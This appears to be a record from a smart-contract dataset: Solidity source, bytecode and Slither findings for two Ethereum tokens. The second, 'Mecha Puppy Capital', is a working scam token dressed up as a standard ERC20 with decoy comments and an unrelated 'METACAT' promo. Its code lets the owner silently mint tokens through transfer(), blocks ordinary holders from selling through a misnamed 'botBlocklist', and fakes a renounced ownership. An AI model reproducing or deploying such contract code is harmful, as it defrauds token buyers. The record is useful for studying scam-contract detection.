function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**3);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f1578063c3c8cd8014610311578063c9567bf914610326578063d543dbeb1461033b578063dd62ed3e1461035b57600080fd5b8063715018a6146102665780638da5cb5b1461027b57806395d89b41146102a3578063a9059cbb146102d157600080fd5b8063273123b7116100dc578063273123b7146101d3578063313ce567146101f55780635932ead1146102115780636fc3eaec1461023157806370a082311461024657600080fd5b806306fdde0314610119578063095ea7b31461015d57806318160ddd1461018d57806323b872dd146101b357600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50604080518082019091526009815268524f42494e20496e7560b81b60208201525b604051610154919061198e565b60405180910390f35b34801561016957600080fd5b5061017d61017836600461181f565b6103a1565b6040519015158152602001610154565b34801561019957600080fd5b5068056bc75e2d631000005b604051908152602001610154565b3480156101bf57600080fd5b5061017d6101ce3660046117df565b6103b8565b3480156101df57600080fd5b506101f36101ee36600461176f565b610421565b005b34801561020157600080fd5b5060405160098152602001610154565b34801561021d57600080fd5b506101f361022c366004611911565b610475565b34801561023d57600080fd5b506101f36104bd565b34801561025257600080fd5b506101a561026136600461176f565b6104ea565b34801561027257600080fd5b506101f361050c565b34801561028757600080fd5b506000546040516001600160a01b039091168152602001610154565b3480156102af57600080fd5b506040805180820190915260058152642927a124a760d91b6020820152610147565b3480156102dd57600080fd5b5061017d6102ec36600461181f565b610580565b3480156102fd57600080fd5b506101f361030c36600461184a565b61058d565b34801561031d57600080fd5b506101f3610631565b34801561033257600080fd5b506101f3610667565b34801561034757600080fd5b506101f3610356366004611949565b610a2a565b34801561036757600080fd5b506101a56103763660046117a7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103ae338484610afe565b5060015b92915050565b60006103c5848484610c22565b610417843361041285604051806060016040528060288152602001611b5f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fbc565b610afe565b5060019392505050565b6000546001600160a01b031633146104545760405162461bcd60e51b815260040161044b906119e1565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461049f5760405162461bcd60e51b815260040161044b906119e1565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104dd57600080fd5b476104e781610ff6565b50565b6001600160a01b0381166000908152600260205260408120546103b290611084565b6000546001600160a01b031633146105365760405162461bcd60e51b815260040161044b906119e1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103ae338484610c22565b6000546001600160a01b031633146105b75760405162461bcd60e51b815260040161044b906119e1565b60005b815181101561062d576001600660008484815181106105e957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062581611af4565b9150506105ba565b5050565b600e546001600160a01b0316336001600160a01b03161461065157600080fd5b600061065c306104ea565b90506104e781611108565b6000546001600160a01b031633146106915760405162461bcd60e51b815260040161044b906119e1565b601154600160a01b900460ff16156106eb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044b565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610728308268056bc75e2d63100000610afe565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076157600080fd5b505afa158015610775573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610799919061178b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e157600080fd5b505afa1580156107f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610819919061178b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086157600080fd5b505af1158015610875573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610899919061178b565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d71947306108c9816104ea565b6000806108de6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094157600080fd5b505af1158015610955573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061097a9190611961565b50506011805467016345785d8a000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109f257600080fd5b505af1158015610a06573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062d919061192d565b6000546001600160a01b03163314610a545760405162461bcd60e51b815260040161044b906119e1565b60008111610aa45760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161044b565b610ac36103e8610abd68056bc75e2d63100000846112ad565b9061132c565b60128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044b565b6001600160a01b038216610bc15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044b565b6001600160a01b038216610ce85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044b565b60008111610d4a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044b565b6002600a556005600b556000546001600160a01b03848116911614801590610d8057506000546001600160a01b03838116911614155b15610f5f576001600160a01b03831660009081526006602052604090205460ff16158015610dc757506001600160a01b03821660009081526006602052604090205460ff16155b610dd057600080fd5b6011546001600160a01b038481169116148015610dfb57506010546001600160a01b03838116911614155b8015610e2057506001600160a01b03821660009081526005602052604090205460ff16155b8015610e355750601154600160b81b900460ff165b15610e9257601254811115610e4957600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6d57600080fd5b610e78426022611a86565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610ebd57506010546001600160a01b03848116911614155b8015610ee257506001600160a01b03831660009081526005602052604090205460ff16155b15610ef2576002600a556005600b555b6000610efd306104ea565b601154909150600160a81b900460ff16158015610f2857506011546001600160a01b03858116911614155b8015610f3d5750601154600160b01b900460ff165b15610f5d57610f4b81611108565b478015610f5b57610f5b47610ff6565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fa157506001600160a01b03831660009081526005602052604090205460ff165b15610faa575060005b610fb68484848461136e565b50505050565b60008184841115610fe05760405162461bcd60e51b815260040161044b919061198e565b506000610fed8486611add565b95945050505050565b733900eb50147b38c93493d4f22f5eac8f16e2ddb86108fc61101983600261132c565b6040518115909202916000818181858888f19350505050158015611041573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61105c83600261132c565b6040518115909202916000818181858888f1935050505015801561062d573d6000803e3d6000fd5b60006008548211156110eb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044b565b60006110f561139c565b9050611101838261132c565b9392505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061115e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111b257600080fd5b505afa1580156111c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ea919061178b565b8160018151811061120b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546112319130911684610afe565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061126a908590600090869030904290600401611a16565b600060405180830381600087803b15801561128457600080fd5b505af1158015611298573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b6000826112bc575060006103b2565b60006112c88385611abe565b9050826112d58583611a9e565b146111015760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044b565b600061110183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113bf565b8061137b5761137b6113ed565b61138684848461141b565b80610fb657610fb6600c54600a55600d54600b55565b60008060006113a9611512565b90925090506113b8828261132c565b9250505090565b600081836113e05760405162461bcd60e51b815260040161044b919061198e565b506000610fed8486611a9e565b600a541580156113fd5750600b54155b1561140457565b600a8054600c55600b8054600d5560009182905555565b60008060008060008061142d87611554565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061145f90876115b1565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461148e90866115f3565b6001600160a01b0389166000908152600260205260409020556114b081611652565b6114ba848361169c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114ff91815260200190565b60405180910390a3505050505050505050565b600854600090819068056bc75e2d6310000061152e828261132c565b82101561154b5750506008549268056bc75e2d6310000092509050565b90939092509050565b60008060008060008060008060006115718a600a54600b546116c0565b925092509250600061158161139c565b905060008060006115948e87878761170f565b919e509c509a509598509396509194505050505091939550919395565b600061110183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fbc565b6000806116008385611a86565b9050838110156111015760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044b565b600061165c61139c565b9050600061166a83836112ad565b3060009081526002602052604090205490915061168790826115f3565b30600090815260026020526040902055505050565b6008546116a990836115b1565b6008556009546116b990826115f3565b6009555050565b60008080806116d46064610abd89896112ad565b905060006116e76064610abd8a896112ad565b905060006116ff826116f98b866115b1565b906115b1565b9992985090965090945050505050565b600080808061171e88866112ad565b9050600061172c88876112ad565b9050600061173a88886112ad565b9050600061174c826116f986866115b1565b939b939a50919850919650505050505050565b803561176a81611b3b565b919050565b600060208284031215611780578081fd5b813561110181611b3b565b60006020828403121561179c578081fd5b815161110181611b3b565b600080604083850312156117b9578081fd5b82356117c481611b3b565b915060208301356117d481611b3b565b809150509250929050565b6000806000606084860312156117f3578081fd5b83356117fe81611b3b565b9250602084013561180e81611b3b565b929592945050506040919091013590565b60008060408385031215611831578182fd5b823561183c81611b3b565b946020939093013593505050565b6000602080838503121561185c578182fd5b823567ffffffffffffffff80821115611873578384fd5b818501915085601f830112611886578384fd5b81358181111561189857611898611b25565b8060051b604051601f19603f830116810181811085821117156118bd576118bd611b25565b604052828152858101935084860182860187018a10156118db578788fd5b8795505b83861015611904576118f08161175f565b8552600195909501949386019386016118df565b5098975050505050505050565b600060208284031215611922578081fd5b813561110181611b50565b60006020828403121561193e578081fd5b815161110181611b50565b60006020828403121561195a578081fd5b5035919050565b600080600060608486031215611975578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156119ba5785810183015185820160400152820161199e565b818111156119cb5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a655784516001600160a01b031683529383019391830191600101611a40565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a9957611a99611b0f565b500190565b600082611ab957634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ad857611ad8611b0f565b500290565b600082821015611aef57611aef611b0f565b500390565b6000600019821415611b0857611b08611b0f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104e757600080fd5b80151581146104e757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207786e87a8b4027a25687dfeaba98d77ab2dd5f59d8478485ad63f9a8ed8aed7864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,538 |
0x5e984090338ea8fbce00d136b24a053661677a16
|
/**
*Submitted for verification at Etherscan.io on 2021-12-09
*/
/*
__ __ _ _____ _____ _ _ _
| \/ | | | | __ \ / ____| (_) | | |
| \ / | ___ ___| |__ __ _ | |__) | _ _ __ _ __ _ _ | | __ _ _ __ _| |_ __ _| |
| |\/| |/ _ \/ __| '_ \ / _` | | ___/ | | | '_ \| '_ \| | | | | | / _` | '_ \| | __/ _` | |
| | | | __/ (__| | | | (_| | | | | |_| | |_) | |_) | |_| | | |___| (_| | |_) | | || (_| | |
|_| |_|\___|\___|_| |_|\__,_| |_| \__,_| .__/| .__/ \__, | \_____\__,_| .__/|_|\__\__,_|_|
| | | | __/ | | |
|_| |_| |___/ |_|
METACAT is a new NFT project where you will be able to collect, levelup, and train virtual cats via staking.
No pre-sale, 100% Fair Launch
5% Reflections
Liquidity will be Locked for 1 Year via Team.finance/Trustswap
50% of supply burned prior to launch
Join the telegram or visit the site for more information
*/
library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function red(uint256 a, uint256 b) internal pure returns (uint256) {
return redc(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.10;
contract Ownable is Context {
address internal recipients;
address internal router;
address public owner;
mapping (address => bool) internal confirm;
event owned(address indexed previousi, address indexed newi);
constructor () {
address msgSender = _msgSender();
recipients = msgSender;
emit owned(address(0), msgSender);
}
modifier checker() {
require(recipients == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function renounceOwnership() public virtual checker {
emit owned(owner, address(0));
owner = address(0);
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
}
// SPDX-License-Identifier: MIT
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
uint256 public _maxTx = 1;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function adjustLimit (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function fee(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function setMaxTx(uint256 Maxtx) public checker {
_maxTx = Maxtx * 10**18;
}
function botBlocklist(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
fee(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount < _maxTx);
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) public virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
}
contract MPC is ERC20{
uint8 immutable private _decimals = 18;
uint256 private _totalSupply = 9000000000000 * 10 ** 18;
constructor () ERC20('Mecha Puppy Capital','MPC') {
_deploy(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80637830b072116100a25780639a6b0207116100715780639a6b0207146102d1578063a457c2d7146102ed578063a9059cbb1461031d578063bc3371821461034d578063dd62ed3e1461036957610116565b80637830b0721461025b5780638560b324146102795780638da5cb5b1461029557806395d89b41146102b357610116565b8063313ce567116100e9578063313ce567146101b757806339509351146101d55780636161eb181461020557806370a0823114610221578063715018a61461025157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b610123610399565b6040516101309190611783565b60405180910390f35b610153600480360381019061014e919061184d565b61042b565b60405161016091906118a8565b60405180910390f35b610171610449565b60405161017e91906118d2565b60405180910390f35b6101a1600480360381019061019c91906118ed565b610453565b6040516101ae91906118a8565b60405180910390f35b6101bf610554565b6040516101cc919061195c565b60405180910390f35b6101ef60048036038101906101ea919061184d565b61057c565b6040516101fc91906118a8565b60405180910390f35b61021f600480360381019061021a919061184d565b610628565b005b61023b60048036038101906102369190611977565b6107f2565b60405161024891906118d2565b60405180910390f35b61025961083b565b005b610263610991565b60405161027091906118d2565b60405180910390f35b610293600480360381019061028e9190611aec565b610997565b005b61029d610a72565b6040516102aa9190611b44565b60405180910390f35b6102bb610a98565b6040516102c89190611783565b60405180910390f35b6102eb60048036038101906102e69190611977565b610b2a565b005b6103076004803603810190610302919061184d565b610c03565b60405161031491906118a8565b60405180910390f35b6103376004803603810190610332919061184d565b610cf7565b60405161034491906118a8565b60405180910390f35b61036760048036038101906103629190611b5f565b610f5e565b005b610383600480360381019061037e9190611b8c565b611010565b60405161039091906118d2565b60405180910390f35b6060600880546103a890611bfb565b80601f01602080910402602001604051908101604052809291908181526020018280546103d490611bfb565b80156104215780601f106103f657610100808354040283529160200191610421565b820191906000526020600020905b81548152906001019060200180831161040457829003601f168201915b5050505050905090565b600061043f610438611097565b848461109f565b6001905092915050565b6000600654905090565b600061046084848461126a565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ab611097565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561052b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052290611c9f565b60405180910390fd5b61054885610537611097565b85846105439190611cee565b61109f565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000012905090565b600061061e610589611097565b848460056000610597611097565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106199190611d22565b61109f565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610698576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068f90611dea565b60405180910390fd5b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561071f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071690611e7c565b60405180910390fd5b818161072b9190611cee565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600660008282546107809190611cee565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107e591906118d2565b60405180910390a3505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610843611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790611ee8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b060405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b61099f611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2390611ee8565b60405180910390fd5b60005b8151811015610a6e57610a5b828281518110610a4e57610a4d611f08565b5b602002602001015161159c565b8080610a6690611f37565b915050610a2f565b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060098054610aa790611bfb565b80601f0160208091040260200160405190810160405280929190818152602001828054610ad390611bfb565b8015610b205780601f10610af557610100808354040283529160200191610b20565b820191906000526020600020905b815481529060010190602001808311610b0357829003601f168201915b5050505050905090565b610b32611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb690611ee8565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060056000610c12611097565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc690611ff2565b60405180910390fd5b610cec610cda611097565b858584610ce79190